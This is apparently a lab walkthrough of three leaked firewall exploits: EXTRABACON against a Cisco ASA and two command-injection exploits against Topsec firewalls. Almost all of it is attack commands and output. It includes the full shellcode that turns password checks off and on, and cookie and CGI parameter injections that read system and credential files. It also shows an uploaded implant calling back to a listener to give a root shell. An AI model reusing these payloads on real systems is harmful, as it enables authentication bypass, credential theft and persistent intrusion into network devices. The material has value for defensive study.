# Extrabacon (EXBA) exploit

Normal ssh connection

# ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@asa
admin@asa's password: cisco
asa> enable
Password:
 cisco
asa# exit

Checking exploit support

# python extrabacon_1.1.0.1.py info -t asa:161 -c cisco
[+] Executing:  extrabacon_1.1.0.1.py info -t asa:161 -c cisco
[+] probing target via snmp
[+] Connecting to asa:161
****************************************
[+] response:
###[ SNMP ]###
  version   = <ASN1_INTEGER[1L]>
  community = <ASN1_STRING['cisco']>
  \PDU       \
   |###[ SNMPresponse ]###
   |  id        = <ASN1_INTEGER[0L]>
   |  error     = <ASN1_INTEGER[0L]>
   |  error_index= <ASN1_INTEGER[0L]>
   |  \varbindlist\
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.2.1.1.1.0']>
   |   |  value     = <ASN1_STRING['Cisco Adaptive Security Appliance Version 8.4(2)']>
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.2.1.1.3.0']>
   |   |  value     = <ASN1_TIME_TICKS[363400L]>
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.2.1.1.5.0']>
   |   |  value     = <ASN1_STRING['asa.lab.net']>

[+] firewall uptime is 363400 time ticks, or 1:00:34

[+] firewall name is asa.lab.net

[+] target is running asa842, which is supported
Data stored in key file  : asa842
Data stored in self.vinfo: ASA842

Launching the exploit (disabling passwords)

# python extrabacon_1.1.0.1.py exec -k WD9Xgq -t asa:161 -c cisco --mode pass-disable
[+] Executing:  extrabacon_1.1.0.1.py exec -k WD9Xgq -t asa:161 -c cisco --mode pass-disable
Data stored in self.vinfo: ASA842
[+] generating exploit for exec mode pass-disable
[+] using shellcode in ./versions
[+] importing version-specific shellcode shellcode_asa842
[+] building payload for mode pass-disable
appended PMCHECK_DISABLE payload bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bff08f530931c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3
appended AAAADMINAUTH_DISABLE payload bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bfe013080831c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3
[+] random SNMP request-id 80055950
[+] fixing offset to payload 49
overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.67.123.122.173.53.165.165.165.165.131.236.4.137.4.36.137.229.131.197.72.49.192.49.219.179.16.49.246.191.174.170.170.170.129.247.165.165.165.165.96.139.132.36.224.1.0.0.4.49.255.208.97.195.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.25.71.20.9.139.124.36.20.139.7.255.224.144
payload (133): bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bff08f530931c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bfe013080831c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3c3
EXBA msg (369): 3082016d0201010405636973636fa582015f020404c58e8e0201000201013082014f30819106072b060102010101048185bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bff08f530931c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bfe013080831c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3c33081b80681b32b060104010909836b010303010105095f8138437b7a812d3581258125812581258103816c048109042481098165810381454831814031815b813310318176813f812e812a812a812a81018177812581258125812560810b81042481600100000431817f8150618143811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811019471409810b7c2414810b07817f816081100500
[+] Connecting to asa:161
[+] packet 1 of 1
[+] 0000   30 82 01 6D 02 01 01 04  05 63 69 73 63 6F A5 82   0..m.....cisco..
[+] 0010   01 5F 02 04 04 C5 8E 8E  02 01 00 02 01 01 30 82   ._............0.
[+] 0020   01 4F 30 81 91 06 07 2B  06 01 02 01 01 01 04 81   .O0....+........
[+] 0030   85 BF A5 A5 A5 A5 B8 D8  A5 A5 A5 31 F8 BB A5 25   ...........1...%
[+] 0040   F6 AC 31 FB B9 A5 B5 A5  A5 31 F9 BA A2 A5 A5 A5   ..1......1......
[+] 0050   31 FA CD 80 EB 14 BF F0  8F 53 09 31 C9 B1 04 FC   1........S.1....
[+] 0060   F3 A4 E9 0C 00 00 00 5E  EB EC E8 F8 FF FF FF 31   .......^.......1
[+] 0070   C0 40 C3 BF A5 A5 A5 A5  B8 D8 A5 A5 A5 31 F8 BB   .@...........1..
[+] 0080   A5 B5 AD AD 31 FB B9 A5  B5 A5 A5 31 F9 BA A2 A5   ....1......1....
[+] 0090   A5 A5 31 FA CD 80 EB 14  BF E0 13 08 08 31 C9 B1   ..1..........1..
[+] 00a0   04 FC F3 A4 E9 0C 00 00  00 5E EB EC E8 F8 FF FF   .........^......
[+] 00b0   FF 31 C0 40 C3 C3 30 81  B8 06 81 B3 2B 06 01 04   .1.@..0.....+...
[+] 00c0   01 09 09 83 6B 01 03 03  01 01 05 09 5F 81 38 43   ....k......._.8C
[+] 00d0   7B 7A 81 2D 35 81 25 81  25 81 25 81 25 81 03 81   {z.-5.%.%.%.%...
[+] 00e0   6C 04 81 09 04 24 81 09  81 65 81 03 81 45 48 31   l....$...e...EH1
[+] 00f0   81 40 31 81 5B 81 33 10  31 81 76 81 3F 81 2E 81   .@1.[.3.1.v.?...
[+] 0100   2A 81 2A 81 2A 81 01 81  77 81 25 81 25 81 25 81   *.*.*...w.%.%.%.
[+] 0110   25 60 81 0B 81 04 24 81  60 01 00 00 04 31 81 7F   %`....$.`....1..
[+] 0120   81 50 61 81 43 81 10 81  10 81 10 81 10 81 10 81   .Pa.C...........
[+] 0130   10 81 10 81 10 81 10 81  10 81 10 81 10 81 10 81   ................
[+] 0140   10 81 10 81 10 81 10 81  10 81 10 81 10 81 10 81   ................
[+] 0150   10 81 10 81 10 81 10 81  10 81 10 81 10 19 47 14   ..............G.
[+] 0160   09 81 0B 7C 24 14 81 0B  07 81 7F 81 60 81 10 05   ...|$.......`...
[+] 0170   00                                                 .
****************************************
[+] response:
###[ SNMP ]###
  version   = <ASN1_INTEGER[1L]>
  community = <ASN1_STRING['cisco']>
  \PDU       \
   |###[ SNMPresponse ]###
   |  id        = <ASN1_INTEGER[80055950L]>
   |  error     = <ASN1_INTEGER[0L]>
   |  error_index= <ASN1_INTEGER[0L]>
   |  \varbindlist\
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.2.1.1.1.0']>
   |   |  value     = <ASN1_STRING['Cisco Adaptive Security Appliance Version 8.4(2)']>
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.4.1.99.12.36.1.1.1.116.114.97.112.104.111.115.116.46.99.105.115.99.111.46.49.57.50.46.49.54.56.46.49.46.51.51.46.50']>
   |   |  value     = <ASN1_STRING['']>
[+] received SNMP id 80055950, matches random id sent, likely success
[+] clean return detected

Ssh connection with password disabled

# ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@asa
admin@asa's password:
 <enter>
asa> enable
Password:
 <enter>
asa# exit

Launching the exploit (re-enabling passwords)

# python extrabacon_1.1.0.1.py exec -k WD9Xgq -t asa:161 -c cisco --mode pass-enable
[+] Executing:  extrabacon_1.1.0.1.py exec -k WD9Xgq -t asa:161 -c cisco --mode pass-enable
Data stored in self.vinfo: ASA842
[+] generating exploit for exec mode pass-enable
[+] using shellcode in ./versions
[+] importing version-specific shellcode shellcode_asa842
[+] building payload for mode pass-enable
appended PMCHECK_ENABLE payload eb14bff08f530931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa0a5a5a531facd80
appended AAAADMINAUTH_ENABLE payload eb14bfe013080831c9b104fcf3a4e92f0000005eebece8f8ffffff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa0a5a5a531facd80
[+] random SNMP request-id 425184577
[+] fixing offset to payload 49
overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.67.123.122.173.53.165.165.165.165.131.236.4.137.4.36.137.229.131.197.72.49.192.49.219.179.16.49.246.191.174.170.170.170.129.247.165.165.165.165.96.139.132.36.224.1.0.0.4.49.255.208.97.195.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.25.71.20.9.139.124.36.20.139.7.255.224.144
payload (133): eb14bff08f530931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfe013080831c9b104fcf3a4e92f0000005eebece8f8ffffff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa0a5a5a531facd80c3
EXBA msg (369): 3082016d0201010405636973636fa582015f02041957cd410201000201013082014f30819106072b060102010101048185eb14bff08f530931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfe013080831c9b104fcf3a4e92f0000005eebece8f8ffffff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa0a5a5a531facd80c33081b80681b32b060104010909836b010303010105095f8138437b7a812d3581258125812581258103816c048109042481098165810381454831814031815b813310318176813f812e812a812a812a81018177812581258125812560810b81042481600100000431817f8150618143811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811019471409810b7c2414810b07817f816081100500
[+] Connecting to asa:161
[+] packet 1 of 1
[+] 0000   30 82 01 6D 02 01 01 04  05 63 69 73 63 6F A5 82   0..m.....cisco..
[+] 0010   01 5F 02 04 19 57 CD 41  02 01 00 02 01 01 30 82   ._...W.A......0.
[+] 0020   01 4F 30 81 91 06 07 2B  06 01 02 01 01 01 04 81   .O0....+........
[+] 0030   85 EB 14 BF F0 8F 53 09  31 C9 B1 04 FC F3 A4 E9   ......S.1.......
[+] 0040   2F 00 00 00 5E EB EC E8  F8 FF FF FF 55 31 C0 89   /...^.......U1..
[+] 0050   BF A5 A5 A5 A5 B8 D8 A5  A5 A5 31 F8 BB A5 25 F6   ..........1...%.
[+] 0060   AC 31 FB B9 A5 B5 A5 A5  31 F9 BA A0 A5 A5 A5 31   .1......1......1
[+] 0070   FA CD 80 EB 14 BF E0 13  08 08 31 C9 B1 04 FC F3   ..........1.....
[+] 0080   A4 E9 2F 00 00 00 5E EB  EC E8 F8 FF FF FF 55 89   ../...^.......U.
[+] 0090   E5 57 BF A5 A5 A5 A5 B8  D8 A5 A5 A5 31 F8 BB A5   .W..........1...
[+] 00a0   B5 AD AD 31 FB B9 A5 B5  A5 A5 31 F9 BA A0 A5 A5   ...1......1.....
[+] 00b0   A5 31 FA CD 80 C3 30 81  B8 06 81 B3 2B 06 01 04   .1....0.....+...
[+] 00c0   01 09 09 83 6B 01 03 03  01 01 05 09 5F 81 38 43   ....k......._.8C
[+] 00d0   7B 7A 81 2D 35 81 25 81  25 81 25 81 25 81 03 81   {z.-5.%.%.%.%...
[+] 00e0   6C 04 81 09 04 24 81 09  81 65 81 03 81 45 48 31   l....$...e...EH1
[+] 00f0   81 40 31 81 5B 81 33 10  31 81 76 81 3F 81 2E 81   .@1.[.3.1.v.?...
[+] 0100   2A 81 2A 81 2A 81 01 81  77 81 25 81 25 81 25 81   *.*.*...w.%.%.%.
[+] 0110   25 60 81 0B 81 04 24 81  60 01 00 00 04 31 81 7F   %`....$.`....1..
[+] 0120   81 50 61 81 43 81 10 81  10 81 10 81 10 81 10 81   .Pa.C...........
[+] 0130   10 81 10 81 10 81 10 81  10 81 10 81 10 81 10 81   ................
[+] 0140   10 81 10 81 10 81 10 81  10 81 10 81 10 81 10 81   ................
[+] 0150   10 81 10 81 10 81 10 81  10 81 10 81 10 19 47 14   ..............G.
[+] 0160   09 81 0B 7C 24 14 81 0B  07 81 7F 81 60 81 10 05   ...|$.......`...
[+] 0170   00                                                 .
****************************************
[+] response:
###[ SNMP ]###
  version   = <ASN1_INTEGER[1L]>
  community = <ASN1_STRING['cisco']>
  \PDU       \
   |###[ SNMPresponse ]###
   |  id        = <ASN1_INTEGER[425184577L]>
   |  error     = <ASN1_INTEGER[0L]>
   |  error_index= <ASN1_INTEGER[0L]>
   |  \varbindlist\
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.2.1.1.1.0']>
   |   |  value     = <ASN1_STRING['Cisco Adaptive Security Appliance Version 8.4(2)']>
   |   |###[ SNMPvarbind ]###
   |   |  oid       = <ASN1_OID['.1.3.6.1.4.1.99.12.36.1.1.1.116.114.97.112.104.111.115.116.46.99.105.115.99.111.46.49.57.50.46.49.54.56.46.49.46.51.51.46.50']>
   |   |  value     = <ASN1_STRING['']>
[+] received SNMP id 425184577, matches random id sent, likely success
[+] clean return detected

Normal ssh connection

# ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@asa
admin@asa's password: <enter>
Permission denied, please try again.
admin@asa's password:

References

https://blog.silentsignal.eu/2016/08/25/bake-your-own-extrabacon/

# Eligible Contestant (ELCO) exploit

# cat ELCA.txt

# LD_LIBRARY_PATH=/current/bin/lib ./noclient -l 1234

NOPEN!                             v3.0.5.3

Wed Aug 17 19:14:54 GMT 2016
NHOME: environment variable not set, assuming "NHOME=/current/bin/.."
NHOME=/current/bin/..
TERM=xterm-256color
Entering callback mode
Waiting...

# LD_LIBRARY_PATH=/current/bin/lib ./eligiblecontestant.py -t https://127.0.0.1:443 touch
[+] Seeded PRNG with 1471461306.3
[+] Preparing to run specified command...
Exploit variables
=========================
   cert = None :: CA File
   target = https://127.0.0.1:443 :: Target to exploit. (Ex: https://127.0.0.1:1234)
   binpath = /current/bin/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static :: Path to tool being used.
   color = False :: Enable log output colors.
   verify = False :: Enable SSL verification
   tool = nopen :: No help available
   loadlast = False :: Load last session used.
   quiet = False :: Disable verbose logging
   ask = False :: Enable confirmation prompting before running commands.
   host =   :: Host header to use (default: empty
   session = None :: Use specified session file.
   mode = nopen :: Mode to use against target
   timeout = 120 :: Socket timeout
   debug = False :: Enable debug output. (Warning: prepare for spam)
['target']
Namespace(ask=False, binpath=u'/current/bin/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static', cert=None, color=False, debug=False, func=<unbound method ELCOExploit.do_touch>, host=' ', loadlast=False, mode='nopen', quiet=False, session=None, target='https://127.0.0.1:443', timeout=120, tool=u'nopen', verify=False)
[+] Requesting head https://127.0.0.1:443/site/image/white.gif with following provided settings: {'allow_redirects': False}
[+] Starting new HTTPS connection (1): 127.0.0.1
[+] "HEAD /site/image/white.gif HTTP/1.1" 200 0
[+] Touch result: HEAD /site/image/white.gif - 200
[+] Touch result: Header: last-modified -- Fri, 18 Aug 2006 19:07:33 GMT
[+] Touch result: Header: content-length -- 837
[+] Touch result: Header: etag -- W/"3cd-345-4ce49cb1"
[+] Touch result: Header: date -- Fri, 18 Aug 2006 19:07:33 GMT
[+] Touch result: Header: accept-ranges -- bytes
[+] Touch result: Header: content-type -- image/gif
[+] Touch result: Header: server -- Topsec
[+] Touch result: HEAD /site/image/white.gif - 200
[+] Touch result: Header: last-modified -- Fri, 18 Aug 2006 19:07:33 GMT
[+] Touch result: Header: content-length -- 837
[+] Touch result: Header: etag -- W/"3cd-345-4ce49cb1"
[+] Touch result: Header: date -- Fri, 18 Aug 2006 19:07:33 GMT
[+] Touch result: Header: accept-ranges -- bytes
[+] Touch result: Header: content-type -- image/gif
[+] Touch result: Header: server -- Topsec
[+] Saving session info to .last_session
[+] Log files saved to /current/down/fosho/2016-08-17-201506.log and /current/down/fosho/2016-08-17-201506_http.log

# LD_LIBRARY_PATH=/current/bin/lib ./eligiblecontestant.py -l probe
[+] Seeded PRNG with 1471461312.61
[+] Preparing to run specified command...
Exploit variables
=========================
   cert = None :: CA File
   target = https://127.0.0.1:443 :: Target to exploit. (Ex: https://127.0.0.1:1234)
   binpath = /current/bin/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static :: Path to tool being used.
   color = False :: Enable log output colors.
   verify = False :: Enable SSL verification
   tool = nopen :: No help available
   loadlast = True :: Load last session used.
   quiet = False :: Disable verbose logging
   ask = False :: Enable confirmation prompting before running commands.
   host =   :: Host header to use (default: empty
   session = None :: Use specified session file.
   mode = nopen :: Mode to use against target
   timeout = 120 :: Socket timeout
   debug = False :: Enable debug output. (Warning: prepare for spam)
['target']
Namespace(ask=False, binpath=u'/current/bin/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static', cert=None, color=False, debug=False, func=<unbound method ELCOExploit.do_probe>, host=u' ', loadlast=True, mode=u'nopen', quiet=False, session=None, target=u'https://127.0.0.1:443', timeout=120, tool=u'nopen', verify=False)
[+] Scheduling cleanup in 60 seconds...
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'allow_redirects': True, 'params': {'Url': 'Command', 'Action': 'sh', 'Para': 'sh -c (\tsleep\t60\t&&\trm\t-f\t/www/htdocs/site/pages/.JmiwrZV\t)'}}
[+] Starting new HTTPS connection (1): 127.0.0.1
[+] "GET /cgi/maincgi.cgi?Url=Command&Action=sh&Para=sh+-c+%28%09sleep%0960%09%26%26%09rm%09-f%09%2Fwww%2Fhtdocs%2Fsite%2Fpages%2F.JmiwrZV%09%29 HTTP/1.1" 200 None
[+] Probing system and retrieving target info...
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'allow_redirects': True, 'params': {'Url': 'Command', 'Action': 'sh', 'Para': 'sh -c (\tcat\t/e*/is*\t&&\tuname\t-a\t&&\t/t*/b*/cfgt*\tsystem\tadmininfo\tshowonline\t&&\tcat\t/*/*coo*/*\t)>/www/htdocs/site/pages/.JmiwrZV'}}
[+] "GET /cgi/maincgi.cgi?Url=Command&Action=sh&Para=sh+-c+%28%09cat%09%2Fe%2A%2Fis%2A%09%26%26%09uname%09-a%09%26%26%09%2Ft%2A%2Fb%2A%2Fcfgt%2A%09system%09admininfo%09showonline%09%26%26%09cat%09%2F%2A%2F%2Acoo%2A%2F%2A%09%29%3E%2Fwww%2Fhtdocs%2Fsite%2Fpages%2F.JmiwrZV HTTP/1.1" 200 None
[+] Requesting get https://127.0.0.1:443/site/pages/.JmiwrZV with following provided settings: {'allow_redirects': True}
[+] "GET /site/pages/.JmiwrZV HTTP/1.1" 200 584
[+] System information retrieved:
Topsec Operating System v3.3.006.076.1
Topsec Network Security Technology CO.,LTD
http://www.topsec.com.cn
Linux (none) 2.6.27 #1 Thu Nov 18 11:15:12 HKT 2010 i686 unknown
Manager_name       Auth_address       Privilege          Online_time(hh:mm:ss)

tosusername=test
tospassword=dGVzdA==
tosusertype=7
auth_id=47
g_vsid=0
logintime=1150174789
milsecond=956
refreshtimes=0
sys_setup=2
sys_maintainance=2
sys_monitor=2
network=2
policy=2
vpn=2
sslvpn=2
aaa_conf=2
log_conf=2
log_access=2
anti_virus=2
resource_conf=2
dpi_conf=2
pki_conf=2
ids_conf=2
anti_spam=2
ha_conf=2

[+] Forcing removal of temp file from target now...
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'allow_redirects': True, 'params': {'Url': 'Command', 'Action': 'sh', 'Para': 'sh -c killall\tsleep\t&&\trm\t-f\t/www/htdocs/site/pages/.JmiwrZV'}}
[+] "GET /cgi/maincgi.cgi?Url=Command&Action=sh&Para=sh+-c+killall%09sleep%09%26%26%09rm%09-f%09%2Fwww%2Fhtdocs%2Fsite%2Fpages%2F.JmiwrZV HTTP/1.1" 200 None
[-] User may be logged in. PLEASE REVIEW SYSTEM INFO
[+] Target is vulnerable. Safe to proceed.
[+] Saving session info to .last_session
[+] Log files saved to /current/down/fosho/2016-08-17-201512.log and /current/down/fosho/2016-08-17-201512_http.log

# LD_LIBRARY_PATH=/current/bin/lib ./eligiblecontestant.py -l exploit -c 127.0.0.1:1234
[+] Seeded PRNG with 1471461330.38
[+] Preparing to run specified command...
Exploit variables
=========================
   cert = None :: CA File
   target = https://127.0.0.1:443 :: Target to exploit. (Ex: https://127.0.0.1:1234)
   binpath = /current/bin/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static :: Path to tool being used.
   color = False :: Enable log output colors.
   verify = False :: Enable SSL verification
   tool = nopen :: No help available
   loadlast = True :: Load last session used.
   quiet = False :: Disable verbose logging
   ask = False :: Enable confirmation prompting before running commands.
   host =   :: Host header to use (default: empty
   session = None :: Use specified session file.
   mode = nopen :: Mode to use against target
   timeout = 120 :: Socket timeout
   debug = False :: Enable debug output. (Warning: prepare for spam)
   callback = 127.0.0.1:1234 :: Callback IP:Port for tool (Example: 127.0.0.1:12345)
['target', 'binpath', 'callback', 'mode']
Namespace(ask=False, binpath=u'/current/bin/noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static', callback='127.0.0.1:1234', cert=None, color=False, debug=False, func=<unbound method ELCOExploit.do_exploit>, host=u' ', loadlast=True, mode=u'nopen', quiet=False, session=None, target=u'https://127.0.0.1:443', timeout=120, tool=u'nopen', verify=False)
[+] Uploading and running payload...
[+] Requesting post https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'files': {'vvnHD': <StringIO.StringIO instance at 0xb6d9454c>}, 'data': {'Url': 'Command', 'Action': 'sh', 'Para': 'sh -c rm\t-f\t/tmp/ht*;tar\txzvf\t`ls\t-c\t/tmp/cgi*|head\t-n\t1`\t-C\t/tmp/\t&&\tchmod\t+x\t/tmp/ht*;/tmp/htpd'}}
[+] Starting new HTTPS connection (1): 127.0.0.1
[+] "POST /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Exploit complete. Got root?
[+] Saving session info to .last_session
[+] Log files saved to /current/down/fosho/2016-08-17-201530.log and /current/down/fosho/2016-08-17-201530_http.log

# LD_LIBRARY_PATH=/current/bin/lib ./noclient -l 1234

NOPEN!                             v3.0.5.3

Wed Aug 17 19:14:54 GMT 2016
NHOME: environment variable not set, assuming "NHOME=/current/bin/.."
NHOME=/current/bin/..
TERM=xterm-256color
Entering callback mode
Waiting...
Listening on *:1234... ok
Accepted connection from 127.0.0.1:39636
Initiating RSA key exchange
  Generating random number... ok
  Initializing RC6... ok
  Sending random number... ok
  Receiving random number... ok
  Generating session key... 0x1D1FFA80837E2AE0ED44E8C441F1405C
  Sending first verify string... ok
  Receiving second verify string... ok
  Checking second verify string... ok
RSA key exchange complete
NOPEN server version... 3.0.5.3

Connection
  Bytes In / Out     196/75 (261%C) / 63/4 (1575%C)
  Local Host:Port    localhost:1234 (127.0.0.1:1234)
  Remote Host:Port   127.0.0.1:0 (127.0.0.1:0)
  Remote Host:Port   (none):39636 (127.0.0.1:39636)
Local
  NOPEN client       3.0.5.3
  Date/Time          Wed Aug 17 19:15:34 UTC 2016
  History
  Command Out
  CWD                /current/bin
  NHOME              /current/bin/..
  PID (PPID)         4871 (4525)
Remote
  NOPEN server       3.0.5.3
  WDIR               NOT SET
  OS                 Linux 2.6.27 #1 Thu Nov 18 11:15:12 HKT 2010 i686
  CWD                /
  PID (PPID)         723 (1)

History loaded from "/current/bin/../down/history/(none).127.0.0.1"... ok
Creating command output file "/current/bin/../down/cmdout/(none).127.0.0.1-2016-08-17-19:15:35"... ok

Lonely?  Bored?  Need advice?  Maybe "-help" will show you the way.

We are starting up our virtual autoport
We are bound and ready to go on port 1025
NO! (none):/>

# Eligible Candidate (ELCA) exploit

# cat ELCA.txt

# LD_LIBRARY_PATH=/current/bin/lib ./noclient -l 1234

NOPEN!                             v3.0.5.3

Wed Aug 17 18:07:07 GMT 2016
NHOME: environment variable not set, assuming "NHOME=/current/bin/.."
NHOME=/current/bin/..
TERM=xterm-256color
Entering callback mode
Waiting...

# LD_LIBRARY_PATH=/current/bin/lib ./eligiblecandidate.py -t https://127.0.0.1:443 touch
[+] Seeded PRNG with 1471457257.4
[+] Preparing to run specified command...
Exploit variables
=========================
   cert = None :: CA File
   target = https://127.0.0.1:443 :: Target to exploit. (Ex: https://127.0.0.1:1234)
   cid = None :: Name of session ID in cookie (default: auto)
   color = False :: Enable log output colors.
   verify = False :: Enable SSL verification
   tool = nopen :: No help available
   loadlast = False :: Load last session used.
   quiet = False :: Disable verbose logging
   binpath =  :: Path to tool being used.
   ask = False :: Enable confirmation prompting before running commands.
   host =   :: Host header to use (default: empty
   session = None :: Use specified session file.
   mode = nopen :: Mode to use against target
   timeout = 120 :: Socket timeout
   debug = False :: Enable debug output. (Warning: prepare for spam)
['target']
Namespace(ask=False, binpath=u'', cert=None, cid=None, color=False, debug=False, func=<unbound method ELCAExploit.do_touch>, host=' ', loadlast=False, mode='nopen', quiet=False, session=None, target='https://127.0.0.1:443', timeout=120, tool=u'nopen', verify=False)
[+] Requesting head https://127.0.0.1:443/site/image/white.gif with following provided settings: {'allow_redirects': False}
[+] Starting new HTTPS connection (1): 127.0.0.1
[+] "HEAD /site/image/white.gif HTTP/1.1" 200 0
[+] Etag - 439-345-4cb57ebd; Last modified - Wed Oct 13 10:41:17 2010
[+] Touch result: HEAD /site/image/white.gif - 200
[+] Touch result: Header: last-modified -- Wed, 13 Oct 2010 09:41:17 GMT
[+] Touch result: Header: content-length -- 837
[+] Touch result: Header: etag -- "439-345-4cb57ebd"
[+] Touch result: Header: date -- Wed, 17 Aug 2016 18:06:54 GMT
[+] Touch result: Header: accept-ranges -- bytes
[+] Touch result: Header: content-type -- image/gif
[+] Touch result: Header: server -- Topsec
[+] Saving session info to .last_session
[+] Log files saved to /current/down/fosho/2016-08-17-190737.log and /current/down/fosho/2016-08-17-190737_http.log

# LD_LIBRARY_PATH=/current/bin/lib ./eligiblecandidate.py -l probe
[+] Seeded PRNG with 1471457319.73
[+] Preparing to run specified command...
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'allow_redirects': True}
[+] Starting new HTTPS connection (1): 127.0.0.1
[+] "GET /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Detected cookie id: session_id
Exploit variables
=========================
   cert = None :: CA File
   target = https://127.0.0.1:443 :: Target to exploit. (Ex: https://127.0.0.1:1234)
   cid = session_id :: Name of session ID in cookie (default: auto)
   color = False :: Enable log output colors.
   verify = False :: Enable SSL verification
   tool = nopen :: No help available
   loadlast = True :: Load last session used.
   quiet = False :: Disable verbose logging
   binpath =  :: Path to tool being used.
   ask = False :: Enable confirmation prompting before running commands.
   host =   :: Host header to use (default: empty
   session = None :: Use specified session file.
   mode = nopen :: Mode to use against target
   timeout = 120 :: Socket timeout
   debug = False :: Enable debug output. (Warning: prepare for spam)
['target', 'cid']
Namespace(ask=False, binpath=u'', cert=None, cid='session_id', color=False, debug=False, func=<unbound method ELCAExploit.do_probe>, host=u' ', loadlast=True, mode=u'nopen', quiet=False, session=None, target=u'https://127.0.0.1:443', timeout=120, tool=u'nopen', verify=False)
[+] Checking current /site/pages/index.html etag
[+] Requesting head https://127.0.0.1:443/site/pages/index.html with following provided settings: {'allow_redirects': False}
[+] "HEAD /site/pages/index.html HTTP/1.1" 200 0
[+] Running touch on /site/pages/index.html
[+] Running command on target: x`touch /w*/*/*/p*/*`
[+] Requesting get https://127.0.0.1:443/cgi/maincgi.cgi with following provided settings: {'cookies': {'session_id': 'x`touch /w*/*/*/p*/*`'}, 'allow_redirects': True}
[+] "GET /cgi/maincgi.cgi HTTP/1.1" 200 None
[+] Checking etag again to confirm
[+] Requesting head https://127.0.0.1:443/site/pages/index.html with following provided settings: {'allow_redirects': False}
[+] "HEAD /site/pages/index.html HTTP/1.1" 200 0
[+] Target is vulnerable. Safe to proceed.
[+] Saving session info to .last_session
[+] Log files saved to /current/down/fosho/2016-08-17-190839.log and /current/down/fosho/2016-08-17-190839_http.log

# LD_LIBRARY_PATH=/current/bin/lib ./eligiblecandidate.py -l exploit -p noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static -c 127.0.0.1:1234
[+] Seeded PRNG with 1471457351.78
[+] Preparing to run specified command...
[+] Already know cookie id: session_id
Exploit variables
=========================
   cert = None :: CA File
   target = https://127.0.0.1:443 :: Target to exploit. (Ex: https://127.0.0.1:1234)
   cid = session_id :: Name of session ID in cookie (default: auto)
   color = False :: Enable log output colors.
   verify = False :: Enable SSL verification
   tool = nopen :: No help available
   loadlast = True :: Load last session used.
   quiet = False :: Disable verbose logging
   binpath = noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static :: Path to tool being used.
   ask = False :: Enable confirmation prompting before running commands.
   host =   :: Host header to use (default: empty
   session = None :: Use specified session file.
   mode = nopen :: Mode to use against target
   timeout = 120 :: Socket timeout
   debug = False :: Enable debug output. (Warning: prepare for spam)
   callback = 127.0.0.1:1234 :: Callback IP:Port for tool (Example: 127.0.0.1:12345)
['target', 'binpath', 'callback', 'mode', 'cid']
